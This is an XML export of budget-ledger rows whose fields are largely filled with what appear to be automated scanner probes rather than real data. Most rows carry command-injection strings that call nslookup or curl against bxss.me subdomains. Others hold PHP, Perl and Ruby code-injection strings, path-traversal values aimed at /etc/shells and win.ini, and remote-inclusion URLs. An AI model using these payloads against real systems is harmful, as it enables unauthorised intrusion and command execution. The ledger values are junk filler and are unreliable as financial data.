<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>;(nslookup -q=cname hitdncpsgjihr987cd.bxss.me||curl hitdncpsgjihr987cd.bxss.me)|(nslookup -q=cname hitdncpsgjihr987cd.bxss.me||curl hitdncpsgjihr987cd.bxss.me)&amp;(nslookup -q=cname hitdncpsgjihr987cd.bxss.me||curl hitdncpsgjihr987cd.bxss.me)</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>gethostbyname(lc('hitol'.'esgeulwzeb956.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(113).chr(87).chr(110).chr(73)</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>&amp;(nslookup -q=cname hitnxyainalou4a62e.bxss.me||curl hitnxyainalou4a62e.bxss.me)&amp;'\"`0&amp;(nslookup -q=cname hitnxyainalou4a62e.bxss.me||curl hitnxyainalou4a62e.bxss.me)&amp;`'</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>bxss.me</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>c:/windows/win.ini</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>|(nslookup -q=cname hitpoowtvdrom07d89.bxss.me||curl hitpoowtvdrom07d89.bxss.me)</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>&amp;(nslookup -q=cname hitktojbyjtvr55244.bxss.me||curl hitktojbyjtvr55244.bxss.me)&amp;'\"`0&amp;(nslookup -q=cname hitktojbyjtvr55244.bxss.me||curl hitktojbyjtvr55244.bxss.me)&amp;`'</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>http://bxss.me/t/fit.txt%3F.jpg</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>$(nslookup -q=cname hitkjhehiensob4c63.bxss.me||curl hitkjhehiensob4c63.bxss.me)</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>${@print(md5(31337))}</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>";print(md5(31337));$a="</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>`(nslookup -q=cname hitutgptudcox8ed16.bxss.me||curl hitutgptudcox8ed16.bxss.me)`</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>".gethostbyname(lc("hitwj"."wmheqiyrf55b5.bxss.me."))."A".chr(67).chr(hex("58")).chr(108).chr(83).chr(121).chr(88)."</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>|(nslookup -q=cname hitcwrumswskuf5b9c.bxss.me||curl hitcwrumswskuf5b9c.bxss.me)</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>'.gethostbyname(lc('hitza'.'bwfbrbsd16ab1.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(97).chr(77).chr(102).chr(70).'</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>$(nslookup -q=cname hitsehvptrisab247e.bxss.me||curl hitsehvptrisab247e.bxss.me)</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>(nslookup -q=cname hitfomvuewoova75e2.bxss.me||curl hitfomvuewoova75e2.bxss.me))</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>|echo qfzfyp$()\ onyqae\nz^xyu||a #' |echo qfzfyp$()\ onyqae\nz^xyu||a #|" |echo qfzfyp$()\ onyqae\nz^xyu||a #</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>&amp;echo ozvgnw$()\ ifzvby\nz^xyu||a #' &amp;echo ozvgnw$()\ ifzvby\nz^xyu||a #|" &amp;echo ozvgnw$()\ ifzvby\nz^xyu||a #</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>'.print(md5(31337)).'</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>echo mrvcnt$()\ eyhahw\nz^xyu||a #' &amp;echo mrvcnt$()\ eyhahw\nz^xyu||a #|" &amp;echo mrvcnt$()\ eyhahw\nz^xyu||a #</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>'.gethostbyname(lc('hitjs'.'xqecxycf97926.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(115).chr(80).chr(105).chr(87).'</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>${@print(md5(31337))}</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>";print(md5(31337));$a="</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>".gethostbyname(lc("hitvo"."zuqunczd3d537.bxss.me."))."A".chr(67).chr(hex("58")).chr(108).chr(69).chr(102).chr(65)."</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>';print(md5(31337));$a='</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>'.gethostbyname(lc('hitkp'.'mbmeudrl590fd.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(111).chr(81).chr(120).chr(89).'</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>${@print(md5(31337))}\</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>${@print(md5(31337))}</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>gethostbyname(lc('hitua'.'xzuyccig2e351.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(105).chr(89).chr(100).chr(80)</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>".gethostbyname(lc("hitdq"."zqzbfqta1c96a.bxss.me."))."A".chr(67).chr(hex("58")).chr(120).chr(78).chr(104).chr(89)."</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>';print(md5(31337));$a='</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>'.gethostbyname(lc('hitie'.'jzjtlablc8fbc.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(99).chr(83).chr(108).chr(85).'</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>gethostbyname(lc('hitfu'.'mabcjgwgea1aa.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(115).chr(81).chr(103).chr(68)</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>";print(md5(31337));$a="</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>bxss.me</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ZlY2MmZpR2w=</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>"+"A".concat(70-3).concat(22*4).concat(119).concat(90).concat(97).concat(72)+(require"socket"
Socket.gethostbyname("hitqb"+"eexdttlx7116e.bxss.me.")[3].to_s)+"</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>'.print(md5(31337)).'</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>HttP://bxss.me/t/xss.html?%00</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>HttP://bxss.me/t/xss.html?%00</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>../../../../../../../../../../../../../../etc/shells</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>/etc/shells</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>";print(md5(31337));$a="</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>';print(md5(31337));$a='</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
